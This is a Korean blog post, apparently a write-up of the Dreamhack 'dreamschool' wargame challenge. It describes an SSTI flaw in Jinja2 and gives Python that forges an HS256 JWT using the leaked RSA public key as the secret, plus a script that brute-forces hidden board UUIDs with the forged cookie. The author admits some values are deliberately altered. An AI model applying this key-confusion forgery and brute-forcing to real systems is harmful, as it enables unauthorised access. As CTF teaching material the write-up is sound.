호그와트

드림핵 dreamschool ~~파도 ~~~ 별

영웅*^%&$ 2022. 2. 11. 14:51
728x90

지난 번 설명이 너무 불충분 했던 거 같아서 대략적으로 write up 을 잡아보자. 해당 워게임은 dreamhack dreamschool이다

일단 ssti취약점이 있다 !! 쿠궁

ssti 취약점을 어떻게 적용할 수 있을지는 이 글을 읽으시는 분이 직접 생각해보셔도 좋겠다. jinja2의 render_template_string 함수를 사용해서 ssti취약점 가능성이 있다는 것을 추리할 수 있다 어쨋든 그렇게 pub key를 구할 수 있게 되는데

 

이는

import jwt

import datetime

pub_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC6eagXQyAgUyVHWJ/VvnUmB2W5\n0a85CIbKcKFKK6EL7oGjIhEUGVlhxc3N+YK9mvvd7oQpqlktMaM4CYHIXQqv51Og\leesedol+M+y1Rc9UjMivzE/V7T/VRzFqalphagoXcCSVYyaKuHSgUk6YygEkA\nvC6SpGs8qW5NvHUW6QIDAQAB\n-----END PUBLIC KEY-----'

token = jwt.encode({

"iat": datetime.datetime.utcnow(),

"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=10),

"username": "config",

"school": "드림대학교"

}, key=pub_key, algorithm="HS256").decode()

print(token)

이런 식으로 개인키로 만들 수 있다

다만 repl.it 환경에서 이런 식으로만 치면 오류가 좀 뜰텐데

=> repl.it packages로 pyjwt를 깔고 프로그래밍을 돌리면 오류가 엄청 나올 수 있다 그 때 shell로 pip install pyjwt==0.4.3 이렇게 명령어 입력해주면 이미 업데이트한 버전으로 사용할 수 있기 때문에 오류를 고칠 수 있다

이렇게 하면 개인키는 구했다

그 다음에 uuid를 잘 보면 매우 유사하다는 것을 알 수 있다.

심지어 url에 /드림대학교라고 치면 들어갈 수 있게 되어있다

이를 통해 비밀 게시판의 uuid를 유추해내면 충분히 개인키를 이용하여 들어갈 수 있음을 알 수 있다

import requests

headers = { 'cookie': f'token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NDQ1NTU4NjEsImV4cCI6MTY0NDU5MTg2MSwidXNlcm5hbWUiOiJjb25maWciLCJzY2hvb2wiOiJcdWI0ZGNcdWI5YmNcdWIzMDBcdWQ1NTlcdWFkNTAifQ.KKkMni7UTaZ29PLoiW7fuToSCkz1rsKYxLh7xHB2YOI'}

url_base = 'http://host1.dreamhack.games:9877/s/드림대학교/fca82'

n = int('12a', 162)

for uid in range(n+300, n+4100):

url = f'{url_base}{hex(uid)[4:]}-8af5-panda-af0d-abcdebfc00002501'

res = requests.get(url, headers=headers)

print(url)

if '게시판' in res.text:

print(res.text)

break

대략 이런 식으로 브루트 포싱을 해주면 된다 (참고용이다)

구체적인 값은 다 다르기 때문에 그걸 잘 조정해서 값을 잘 넣어서 브루트 포싱을 해주면 된다

여기서는 혹시나 복붙+FLAG 루팡이 있을 수 있기때문에 구체적인 값들과 내용을 살짝 바꾸었다. 그래도 대략적인 흐름과 알고리즘은 이와 정확히 같다.

728x90

'호그와트' 카테고리의 다른 글

User After free 취약점  (0) 2022.02.19
dreamhack rev-basic-9  (0) 2022.02.14
dreamhack return address Overwrite  (0) 2022.02.09
dreamhack Oob  (0) 2022.02.09
godbolt로 어셈블리어 이해하기  (0) 2022.02.07